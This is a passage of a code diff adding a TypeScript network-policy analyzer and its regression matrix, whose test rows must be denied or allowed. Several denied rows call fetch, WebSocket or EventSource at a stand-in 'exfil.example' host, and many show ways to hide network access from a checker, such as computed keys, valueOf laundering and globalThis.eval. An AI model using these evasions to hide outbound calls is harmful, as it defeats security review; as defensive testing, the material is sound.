resolved.pathname.slice(TREE_ROOT_URL.pathname.length).split('/').map(decodeURIComponent).join('/'); + } catch { + return undefined; + } + const candidates = [ + target, + target.replace(/\.js$/, '.ts'), + target.replace(/\.mjs$/, '.mts'), + target.replace(/\.cjs$/, '.cts'), + `${target}.ts`, + `${target}/index.ts`, + ]; + return candidates.find((candidate) => files.has(candidate)); +} + +/** + * Analyze a whole host tree: each file under the frozen single-file policy, + * with the proven exports of the sibling files it imports seeded in (server + * factories, proven strings, string functions), and the server-instantiation + * site bound applied across the tree. Exports are computed to a fixpoint over + * the import graph (bounded by the number of files) before the final pass. + */ +export function analyzeNetworkPolicyTree( + sources: readonly HostSource[], + options: NetworkPolicyOptions = {}, +): ReadonlyMap { + // Tree paths are '/'-separated: a win32 name folds its backslashes; a POSIX name keeps them, they are part of the filename. + const separator = options.separator ?? nativeSeparator(); + const treePath = (file: string): string => (separator === '\\' ? file.replace(/\\/g, '/') : file); + const files = sources.map((source) => ({ file: treePath(source.file), text: source.text })); + const names = new Set(files.map((entry) => entry.file)); + const specifiers = new Map( + files.map((entry) => [ + entry.file, + relativeSpecifiersOf(ts.createSourceFile(entry.file, entry.text, ts.ScriptTarget.ESNext, true, ts.ScriptKind.TS)), + ]), + ); + let exports = new Map(); + const importsFor = (file: string): ReadonlyMap => { + const imports = new Map(); + for (const specifier of specifiers.get(file) ?? []) { + const target = resolveHostSpecifier(file, specifier, names); + if (target !== undefined) imports.set(specifier, exports.get(target) ?? EMPTY_EXPORTS); + } + return imports; + }; + for (let round = 0; round <= files.length; round += 1) { + const next = new Map( + files.map((entry) => [entry.file, hostExportsOf(analyze(entry.text, { ...options, hostImports: importsFor(entry.file) }).ctx)]), + ); + const changed = files.some((entry) => !sameExports(exports.get(entry.file), next.get(entry.file) ?? EMPTY_EXPORTS)); + exports = next; + if (!changed) break; + } + const results = new Map(); + let priorInstantiationSites = 0; + for (const entry of files) { + const { ctx, result } = analyze(entry.text, { ...options, hostImports: importsFor(entry.file), priorInstantiationSites }); + priorInstantiationSites += ctx.instantiationSites; + results.set(entry.file, result); + } + return results; +} diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts new file mode 100644 index 0000000..bc78ca9 --- /dev/null +++ b/tests/cockpit-host/support/d3-regression-matrix.ts @@ -0,0 +1,1178 @@ +/** + * Cockpit D3 network policy — semantic regression matrix. + * + * Data-driven rows grouped into the twenty frozen semantic categories. Each + * row carries one of three expectations: + * + * MUST_DENY the policy must reject the source; every listed + * reason code must be present in the result + * MUST_ALLOW the policy must accept the source + * OUTSIDE_DECLARED_BOUNDARY the source exercises a mechanism the single-file + * policy does not claim (module graph, runtime + * interpretation, prototype graph, RC/HA territory); + * the analyzer must terminate, nothing more + * + * The rows are compact witnesses of policy *semantics*, not an enumeration of + * spellings. A `closes` tag names the PR #64 finding a row structurally closes. + */ + +import type { NetworkPolicyOptions, ReasonCode } from './d3-network-policy.js'; + +export type RegressionCategory = + | 'free-global identity' + | 'node:http namespace/client capability' + | 'static/computed keys' + | 'shorthand value binding' + | 'socket acquisition through proven target policy' + | 'runtime keys' + | 'alias propagation' + | 'local function propagation' + | 'callee immutability' + | 'mutation/reflection' + | 'createServer listener boundary' + | 'options argument DENY' + | 'factory confinement' + | 'result confinement' + | 'export confinement' + | 'convergence/exhaustion' + | 'extra parameter false positives' + | 'real host acceptance' + | 'loopback listen binding' + | 'server instantiation site bound'; + +export const REGRESSION_CATEGORIES: readonly RegressionCategory[] = [ + 'free-global identity', + 'node:http namespace/client capability', + 'static/computed keys', + 'shorthand value binding', + 'socket acquisition through proven target policy', + 'runtime keys', + 'alias propagation', + 'local function propagation', + 'callee immutability', + 'mutation/reflection', + 'createServer listener boundary', + 'options argument DENY', + 'factory confinement', + 'result confinement', + 'export confinement', + 'convergence/exhaustion', + 'extra parameter false positives', + 'real host acceptance', + 'loopback listen binding', + 'server instantiation site bound', +]; + +export type Expectation = 'MUST_DENY' | 'MUST_ALLOW' | 'OUTSIDE_DECLARED_BOUNDARY'; +export type Pr64Finding = 'F-1' | 'F-2' | 'F-3' | 'F-4' | 'F-5' | 'F-6' | 'F-7'; + +export interface RegressionRow { + readonly category: RegressionCategory; + readonly name: string; + readonly source: string; + readonly expectation: Expectation; + /** MUST_DENY only: every listed reason must appear in the result. */ + readonly reasons?: readonly ReasonCode[]; + readonly options?: NetworkPolicyOptions; + readonly closes?: readonly Pr64Finding[]; +} + +// --------------------------------------------------------------------------- +// Source fragments +// --------------------------------------------------------------------------- + +const NS = `import http from 'node:http';`; +const STAR = `import * as http from 'node:http';`; +const NAMED = `import { createServer } from 'node:http';`; +const L = `(request: http.IncomingMessage, response: http.ServerResponse) => { response.end('ok'); }`; +const L_PLAIN = `(request, response) => { response.end('ok'); }`; + +/** A namespace-imported host with a listener whose body is `body`. */ +const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`; + +/** A namespace-imported host holding the proven server in `server`, followed by `rest`. */ +const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + +/** The real host's exported confined factory plus `rest`. */ +const withFactory = (rest: string): string => + `${NS}\nexport function createCockpitServer(): http.Server {\n return http.createServer(${L});\n}\n${rest}`; + +/** A reverse-ordered propagation chain: `f1(response)` reaches `fN` only after N fixpoint passes. */ +const reverseChain = (length: number): string => { + const functions: string[] = []; + for (let index = length; index >= 1; index -= 1) { + const body = index === length ? 'res.end();' : `f${String(index + 1)}(res);`; + functions.push(`function f${String(index)}(res: http.ServerResponse): void { ${body} }`); + } + return `${NS}\n${functions.join('\n')}\nhttp.createServer((request, response) => { f1(response); });`; +}; + +const REAL_HOST_SHAPE = `${NS} +import { pathToFileURL } from 'node:url'; + +export const HOST = '127.0.0.1'; +export const PORT = 4317; +const CONTENT_SECURITY_POLICY = "default-src 'none'"; +const STYLES = 'body{}'; + +function applySecurityHeaders(response: http.ServerResponse): void { + response.setHeader('Content-Security-Policy', CONTENT_SECURITY_POLICY); + response.setHeader('X-Content-Type-Options', 'nosniff'); +} + +export function buildDashboardHtml(): string { + return ''; +} + +function pathOf(url: string): string { + const queryIndex = url.indexOf('?'); + return queryIndex === -1 ? url : url.slice(0, queryIndex); +} + +export function createCockpitServer(): http.Server { + const page = buildDashboardHtml(); + return http.createServer((request: http.IncomingMessage, response: http.ServerResponse): void => { + applySecurityHeaders(response); + const method = request.method ?? ''; + if (method !== 'GET') { + response.statusCode = 405; + response.setHeader('Allow', 'GET'); + response.end('405 Method Not Allowed'); + return; + } + const path = pathOf(request.url ?? ''); + if (path === '/') { + response.statusCode = 200; + response.setHeader('Content-Type', 'text/html; charset=utf-8'); + response.end(page); + return; + } + if (path === '/styles.css') { + response.statusCode = 200; + response.end(STYLES); + return; + } + response.statusCode = 404; + response.end('404 Not Found'); + }); +} + +function main(): void { + const server = createCockpitServer(); + server.listen(PORT, HOST, () => { + console.log(\`AgentBridge Cockpit: http://\${HOST}:\${String(PORT)}/\`); + }); +} + +const entryArgument = process.argv[1]; +const isEntry = entryArgument !== undefined && import.meta.url === pathToFileURL(entryArgument).href; +if (isEntry) { + main(); +} +`; + +// --------------------------------------------------------------------------- +// Row builders +// --------------------------------------------------------------------------- + +interface RowExtras { + readonly options?: NetworkPolicyOptions; + readonly closes?: readonly Pr64Finding[]; +} + +const deny = ( + category: RegressionCategory, + name: string, + source: string, + reasons: readonly ReasonCode[], + extras: RowExtras = {}, +): RegressionRow => ({ category, name, source, expectation: 'MUST_DENY', reasons, ...extras }); + +const allow = (category: RegressionCategory, name: string, source: string, extras: RowExtras = {}): RegressionRow => ({ + category, + name, + source, + expectation: 'MUST_ALLOW', + ...extras, +}); + +const outside = (category: RegressionCategory, name: string, source: string): RegressionRow => ({ + category, + name, + source, + expectation: 'OUTSIDE_DECLARED_BOUNDARY', +}); + +// --------------------------------------------------------------------------- +// 1. free-global identity +// --------------------------------------------------------------------------- + +const FREE_GLOBAL: readonly RegressionRow[] = [ + deny('free-global identity', 'bare fetch call', `fetch('https://example.com/');`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'fetch aliased into a const', `const f = fetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'fetch stored in an array', `const fns = [fetch];`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'fetch as a call argument', `use(fetch);`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'fetch returned from a function', `function get() { return fetch; }`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'fetch as shorthand property value', `const o = { fetch };`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'fetch exported by specifier without a local binding', `export { fetch };`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'WebSocket constructed', `new WebSocket('wss://example.com/');`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'typeof fetch is still a value read', `const t = typeof fetch;`, ['FREE_GLOBAL_NETWORK']), + deny( + 'free-global identity', + 'ambient const shadow does not exist at runtime', + `declare const fetch: (url: string) => unknown;\nfetch('https://example.com/');`, + ['FREE_GLOBAL_NETWORK'], + ), + deny( + 'free-global identity', + 'ambient function shadow does not exist at runtime', + `declare function fetch(url: string): unknown;\nfetch('https://example.com/');`, + ['FREE_GLOBAL_NETWORK'], + ), + deny( + 'free-global identity', + 'ambient namespace member shadow does not exist at runtime', + `declare namespace fetch { const x: number; }\nfetch;`, + ['FREE_GLOBAL_NETWORK'], + ), + deny('free-global identity', 'type-only shadow does not exist at runtime', `type fetch = string;\nfetch('x');`, ['FREE_GLOBAL_NETWORK']), + deny( + 'free-global identity', + 'type-only import shadow does not exist at runtime', + `import type { fetch } from './x.js';\nfetch('x');`, + ['FREE_GLOBAL_NETWORK'], + ), + deny('free-global identity', 'const enum shadow is erased at runtime', `const enum fetch { A }\nfetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'globalThis.fetch member', `globalThis.fetch('https://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'window["fetch"] static element key', `window['fetch']('https://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'self folded concatenation key', `self['fe' + 'tch']('https://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'global.WebSocket member', `new global.WebSocket('wss://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'globalThis.globalThis self-hop', `globalThis.globalThis.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'mixed static self-hop chain', `globalThis.self['window'].global.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'wrapped receiver', `(globalThis as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional-chained receiver', `globalThis?.fetch?.('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'global receiver forwarded through const', `const g = globalThis;`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'global receiver forwarded through container', `const box = [window];`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'global receiver forwarded through call argument', `use(self);`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'global receiver forwarded through return', `function g() { return globalThis; }`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'global receiver forwarded through assignment', `let g; g = globalThis;`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'global receiver forwarded through arbitrary expression', `const g = globalThis ?? null;`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'destructured fetch from globalThis', `const { fetch: f } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'shorthand destructured fetch from globalThis', `const { fetch } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'nested self-hop destructuring', `const { self: { fetch: f } } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'self-hop destructured into a binding', `const { self: s } = globalThis;`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'rest destructuring of globalThis', `const { ...rest } = globalThis;`, ['GLOBAL_RECEIVER_DESTRUCTURING']), + deny('free-global identity', 'array destructuring of globalThis', `const [first] = globalThis as any;`, ['GLOBAL_RECEIVER_DESTRUCTURING']), + deny('free-global identity', 'destructuring assignment from globalThis', `let f;\n({ fetch: f } = globalThis);`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny( + 'free-global identity', + 'nested destructuring assignment from globalThis', + `let f;\n({ window: { fetch: f } } = globalThis);`, + ['GLOBAL_RECEIVER_NETWORK_MEMBER'], + ), + allow('free-global identity', 'runtime const shadow of fetch', `const fetch = (url: string) => url;\nfetch('x');`), + allow('free-global identity', 'runtime function shadow of fetch', `function fetch() { return 1; }\nfetch();`), + allow('free-global identity', 'parameter shadow of fetch', `function run(fetch: () => void) { fetch(); }`), + allow('free-global identity', 'binding-element shadow of fetch', `const { fetch } = { fetch: 1 };\nfetch;`), + allow('free-global identity', 'class shadow of WebSocket', `class WebSocket {}\nnew WebSocket();`), + allow('free-global identity', 'runtime enum shadow of fetch', `enum fetch { A }\nfetch.A;`), + allow('free-global identity', 'value import shadow of fetch', `import { fetch } from './local.js';\nfetch('x');`), + allow('free-global identity', 'instantiated namespace shadow of fetch', `namespace fetch {\n export function get(value: string) {\n return value;\n }\n}\nfetch.get('x');`), + allow('free-global identity', 'instantiated namespace shadow of WebSocket', `namespace WebSocket {\n export const x = 1;\n}\nWebSocket.x;`), + allow('free-global identity', 'nested instantiated namespace shadow of fetch', `namespace fetch {\n export namespace inner {\n export class C {}\n }\n}\nnew fetch.inner.C();`), + allow('free-global identity', 'runtime import-equals shadow of fetch', `import fetch = require('./local.js');\nfetch('x');`), + allow('free-global identity', 'namespace instantiated by an exported runtime import alias (fetch)', `namespace Local {\n export const get = (value: string) => value;\n}\nnamespace fetch {\n export import get = Local.get;\n}\nfetch.get('x');`), + allow('free-global identity', 'namespace instantiated by an exported runtime import alias (WebSocket)', `namespace Local {\n export const open = (url: string) => url;\n}\nnamespace WebSocket {\n export import open = Local.open;\n}\nWebSocket.open('x');`), + deny('free-global identity', 'namespace holding only a private type alias import stays erased', `namespace Local {\n export type T = string;\n}\nnamespace fetch {\n import T = Local.T;\n}\nfetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'type-only namespace is erased at runtime', `namespace fetch {\n export type T = string;\n export interface I { x: number }\n}\nfetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'type-only import-equals is erased at runtime', `import type fetch = require('./local.js');\nfetch('x');`, ['FREE_GLOBAL_NETWORK']), + allow('free-global identity', 'fetch as a property key and member name', `const o = { fetch: 1 };\no.fetch;`), + deny('free-global identity', 'EventSource constructed', `new EventSource('https://exfil.example/');`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'EventSource aliased into a const', `const E = EventSource;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'globalThis.EventSource constructed', `new globalThis.EventSource('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'EventSource destructured from globalThis', `const { EventSource: E } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'self["EventSource"] static element key', `new self['EventSource']('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + allow('free-global identity', 'class shadow of EventSource', `class EventSource {}\nnew EventSource();`), + allow('free-global identity', 'EventSource in a type position', `let es: EventSource | null = null;\nes;`), + allow('free-global identity', 'named function-expression shadow of fetch inside its own body', `const f = function fetch() { return fetch; };\nf();`), + allow('free-global identity', 'named function-expression shadow of WebSocket inside its own body', `const open = function WebSocket(url: string) { return url ? WebSocket : null; };\nopen('x');`), + deny('free-global identity', 'named function-expression name does not bind outside its body', `const f = function fetch() { return 1; };\nfetch('x');`, ['FREE_GLOBAL_NETWORK']), + allow('free-global identity', 'private value import-equals alias of an unresolved module member', `import * as Local from './x.js';\nimport fetch = Local.f;\nfetch('x');`), + allow('free-global identity', 'private value import-equals alias of an instantiated namespace member', `namespace Local {\n export const f = (url: string) => url;\n}\nimport fetch = Local.f;\nfetch('x');`), + allow('free-global identity', 'private import-equals alias of a value import', `import { f } from './x.js';\nimport fetch = f;\nfetch('x');`), + allow('free-global identity', 'private import-equals alias chain of values', `namespace Local {\n export const f = 1;\n}\nimport g = Local.f;\nimport fetch = g;\nfetch;`), + allow('free-global identity', 'private import-equals alias of an instantiated namespace', `namespace Local {\n export const x = 1;\n}\nimport fetch = Local;\nfetch.x;`), + deny('free-global identity', 'private import-equals alias of a type is erased', `namespace Local {\n export type f = string;\n}\nimport fetch = Local.f;\nfetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'private import-equals alias of a type-only import is erased', `import type { f } from './x.js';\nimport fetch = f;\nfetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'private import-equals alias of an uninstantiated namespace is erased', `namespace Local {\n export type T = string;\n}\nimport fetch = Local;\nfetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'circular private import-equals alias fails closed', `import fetch = fetch;\nfetch;`, ['FREE_GLOBAL_NETWORK']), + deny('free-global identity', 'Codex P1 witness: valueOf-laundered global receiver', `const g = globalThis.valueOf() as typeof globalThis;\ng.fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'Codex P1 witness: inherited mutator called through the global receiver', `(globalThis as any).__defineGetter__('String', () => 1);`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'inherited mutator called through a self-hop', `(globalThis.self as any).__defineSetter__('String', () => {});`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'code generator called through the global receiver', `globalThis.eval('String = 1');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member constructed through the global receiver', `new (globalThis as any).Proxy({}, {});`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member tagged through the global receiver', `globalThis.String\`x\`;`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'intrinsic called through the global receiver', `globalThis.String(1);`, ['GLOBAL_RECEIVER_CALL']), + allow('free-global identity', 'intrinsic called as a free global', `String(1);`), + allow('free-global identity', 'WebSocket in a type position', `let ws: WebSocket | null = null;\nws;`), + allow('free-global identity', 'fetch as a label', `fetch: for (;;) { break fetch; }`), + allow('free-global identity', 'harmless global member read', `globalThis.console.log('x');`), + allow('free-global identity', 'global receiver as expression statement, void, typeof', `globalThis;\nvoid window;\ntypeof self;`), + allow('free-global identity', 'over-long global key is not a capability', `globalThis['aVeryLongPropertyNameThatIsNotACapability'];`), + allow('free-global identity', 'harmless destructuring from globalThis', `const { console: c } = globalThis;\nc.log('x');`), + allow('free-global identity', 'shadowed self is an ordinary object', `const self = { fetch: 1 }; +self.fetch;`), + allow('free-global identity', 'shadowed window parameter is an ordinary object', `function f(window: { fetch: number }) { return window.fetch; }`), + deny( + 'free-global identity', + 'globalThis cannot be shadowed (TypeScript binds the name to the intrinsic global)', + `const globalThis = { fetch: 1 }; +globalThis.fetch;`, + ['GLOBAL_RECEIVER_NETWORK_MEMBER'], + ), + allow('free-global identity', 'global-root name as a property key', `const g = { globalThis: 1, window: 2 };\ng.globalThis + g.window;`), + // PR #67 F3 / Codex P1: a permitted static member of a global receiver is never invoked — call, optional call, + // construct or tagged template — so its result is never reached and an inherited mutator cannot rebind globals. + deny('free-global identity', 'permitted member call result reaches fetch (PR #67 F3)', `globalThis.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'self-hop then permitted member call result reaches fetch', `globalThis.global.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result forwarded through const', `const g = globalThis.valueOf();`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result forwarded through call argument', `use(window.valueOf());`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result forwarded through return', `function g() { return self.valueOf(); }`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result through static element key', `self['valueOf']().fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result wrapped', `(globalThis.valueOf() as any).fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result destructured to fetch', `const { fetch: f } = globalThis.valueOf();`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf()[k];`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call result self-hop then fetch', `globalThis.valueOf().window.fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'chained permitted member call results', `globalThis.valueOf().valueOf().fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'any permitted member call result retains root authority (not name-specific)', `const t = globalThis.toString();`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'permitted member call as statement, void, typeof', `globalThis.valueOf();\nvoid globalThis.valueOf();\ntypeof globalThis.valueOf();`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'non-network member of a permitted member call result', `globalThis.valueOf().console.log('x');`, ['GLOBAL_RECEIVER_CALL']), + // PR #67 F3 (optional-call continuation): an optional call of a permitted member is denied exactly like a plain one. + deny('free-global identity', 'optional call of a permitted member reaches fetch (PR #67 F3)', `globalThis.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional member and optional call reach fetch', `globalThis?.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional member and normal call reach fetch', `globalThis?.valueOf().fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call through a static element key reaches fetch', `globalThis['valueOf']?.().fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call through a static element key reaches WebSocket', `globalThis['valueOf']?.().WebSocket;`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call result forwarded through const', `const g = globalThis.valueOf?.();`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call result forwarded through call argument', `use(globalThis.valueOf?.());`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call result forwarded through return', `function g() { return window.valueOf?.(); }`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call result wrapped', `(globalThis.valueOf?.() as any).fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call result self-hop then fetch', `globalThis.valueOf?.().self.fetch('x');`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf?.()[k];`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'optional permitted member call as statement, void, typeof', `globalThis.valueOf?.();\nvoid globalThis.valueOf?.();\ntypeof globalThis.valueOf?.();`, ['GLOBAL_RECEIVER_CALL']), + deny('free-global identity', 'non-network member of an optional permitted member call result', `globalThis.valueOf?.().console.log('x');`, ['GLOBAL_RECEIVER_CALL']), +]; + +// --------------------------------------------------------------------------- +// 2. node:http namespace/client capability +// --------------------------------------------------------------------------- + +const HTTP_CAPABILITY: readonly RegressionRow[] = [ + deny('node:http namespace/client capability', 'named import of request', `import { request } from 'node:http';\nrequest('x');`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'named import of get', `import { get } from 'node:http';`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'named import of Agent', `import { Agent } from 'node:http';`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'named import of ClientRequest', `import { ClientRequest } from 'node:http';`, ['HTTP_CLIENT_CAPABILITY']), + deny( + 'node:http namespace/client capability', + 'createServer alongside a client import', + `import { createServer, request } from 'node:http';\ncreateServer(${L_PLAIN});`, + ['HTTP_CLIENT_CAPABILITY'], + ), + deny('node:http namespace/client capability', 'bare http specifier client import', `import { request } from 'http';`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'namespace http.request', `${NS}\nhttp.request('x');`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'namespace http.get', `${STAR}\nhttp.get('x');`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'namespace new http.Agent', `${NS}\nnew http.Agent();`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'namespace globalAgent read', `${NS}\nconst a = http.globalAgent;`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'namespace folded client key', `${NS}\nhttp['req' + 'uest']('x');`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'namespace STATUS_CODES is not allow-listed', `${NS}\nhttp.STATUS_CODES;`, ['HTTP_CLIENT_CAPABILITY']), + deny('node:http namespace/client capability', 'namespace runtime key', `${NS}\ndeclare const k: string;\nhttp[k]('x');`, ['HTTP_NAMESPACE_RUNTIME_KEY']), + deny('node:http namespace/client capability', 'namespace aliased', `${NS}\nconst h = http;`, ['HTTP_NAMESPACE_ESCAPE']), + deny('node:http namespace/client capability', 'namespace destructured', `${NS}\nconst { createServer } = http;`, ['HTTP_NAMESPACE_ESCAPE']), + deny('node:http namespace/client capability', 'namespace passed as argument', `${NS}\nuse(http);`, ['HTTP_NAMESPACE_ESCAPE']), + deny('node:http namespace/client capability', 'namespace exported', `${NS}\nexport { http };`, ['HTTP_NAMESPACE_ESCAPE']), + deny('node:http namespace/client capability', 'namespace default-exported', `${NS}\nexport default http;`, ['HTTP_NAMESPACE_ESCAPE']), + deny('node:http namespace/client capability', 'namespace in a container', `${NS}\nconst box = { http };`, ['HTTP_NAMESPACE_ESCAPE']), + deny('node:http namespace/client capability', 'import-equals require of node:http', `import http = require('node:http');`, ['HTTP_IMPORT_EQUALS']), + deny('node:http namespace/client capability', 'dynamic import of node:http', `const m = await import('node:http');`, ['HTTP_DYNAMIC_IMPORT']), + deny('node:http namespace/client capability', 'dynamic import of folded node:http', `import('node:' + 'http');`, ['HTTP_DYNAMIC_IMPORT']), + deny('node:http namespace/client capability', 'dynamic import with indeterminate specifier', `declare const spec: string;\nimport(spec);`, ['HTTP_DYNAMIC_IMPORT']), + deny('node:http namespace/client capability', 'star re-export of node:http', `export * from 'node:http';`, ['HTTP_REEXPORT']), + deny('node:http namespace/client capability', 'named re-export of createServer', `export { createServer } from 'node:http';`, ['HTTP_REEXPORT']), + deny('node:http namespace/client capability', 'namespace re-export of node:http', `export * as h from 'node:http';`, ['HTTP_REEXPORT']), + deny('node:http namespace/client capability', 'createServer extracted from namespace', `${NS}\nconst cs = http.createServer;`, ['CREATE_SERVER_NOT_CALLED']), + deny('node:http namespace/client capability', 'createServer binding aliased', `${NAMED}\nconst cs = createServer;`, ['CREATE_SERVER_ESCAPE']), + deny('node:http namespace/client capability', 'createServer binding exported', `${NAMED}\nexport { createServer };`, ['CREATE_SERVER_ESCAPE']), + deny('node:http namespace/client capability', 'createServer binding passed as argument', `${NAMED}\nuse(createServer);`, ['CREATE_SERVER_ESCAPE']), + allow('node:http namespace/client capability', 'type-only named import', `import type { IncomingMessage } from 'node:http';\nlet m: IncomingMessage | null = null;\nm;`), + allow( + 'node:http namespace/client capability', + 'inline type import beside createServer', + `import { type IncomingMessage, createServer } from 'node:http';\ncreateServer(${L_PLAIN});`, + ), + allow('node:http namespace/client capability', 'side-effect import', `import 'node:http';`), + allow('node:http namespace/client capability', 'type-only re-export', `export type { Server } from 'node:http';`), + allow('node:http namespace/client capability', 'star namespace createServer', `${STAR}\nhttp.createServer(${L});`), + allow('node:http namespace/client capability', 'default namespace createServer', `${NS}\nhttp.createServer(${L});`), + allow('node:http namespace/client capability', 'named createServer', `${NAMED}\ncreateServer(${L_PLAIN});`), + allow('node:http namespace/client capability', 'renamed named createServer', `import { createServer as make } from 'node:http';\nmake(${L_PLAIN});`), + allow('node:http namespace/client capability', 'namespace used only in type positions', `${NS}\nlet s: http.Server | null = null;\nlet t: typeof http | null = null;\ns; t;`), +]; + +// --------------------------------------------------------------------------- +// 3. static/computed keys +// --------------------------------------------------------------------------- + +const STATIC_KEYS: readonly RegressionRow[] = [ + allow('static/computed keys', 'string literal key', `${NS}\nhttp['createServer'](${L});`), + allow('static/computed keys', 'no-substitution template key', `${NS}\nhttp[\`createServer\`](${L});`), + allow('static/computed keys', 'unique const key', `${NS}\nconst K = 'createServer';\nhttp[K](${L});`), + allow('static/computed keys', 'folded concatenation', `${NS}\nconst A = 'create';\nconst B = 'Server';\nhttp[A + B](${L});`), + allow('static/computed keys', 'template substitution of a const', `${NS}\nconst A = 'create';\nhttp[\`\${A}Server\`](${L});`), + allow('static/computed keys', 'wrapped const key', `${NS}\nconst K = 'createServer';\nhttp[(K as string)!](${L});`), + allow('static/computed keys', 'satisfies-wrapped key', `${NS}\nconst K = 'createServer' satisfies string;\nhttp[K](${L});`), + allow('static/computed keys', 'scope-sensitive inner const resolves', `${NS}\nconst K = 'request';\n{\n const K = 'createServer';\n http[K](${L});\n}`), + allow('static/computed keys', 'request static element key', inListener(`request['url'];\nrequest['met' + 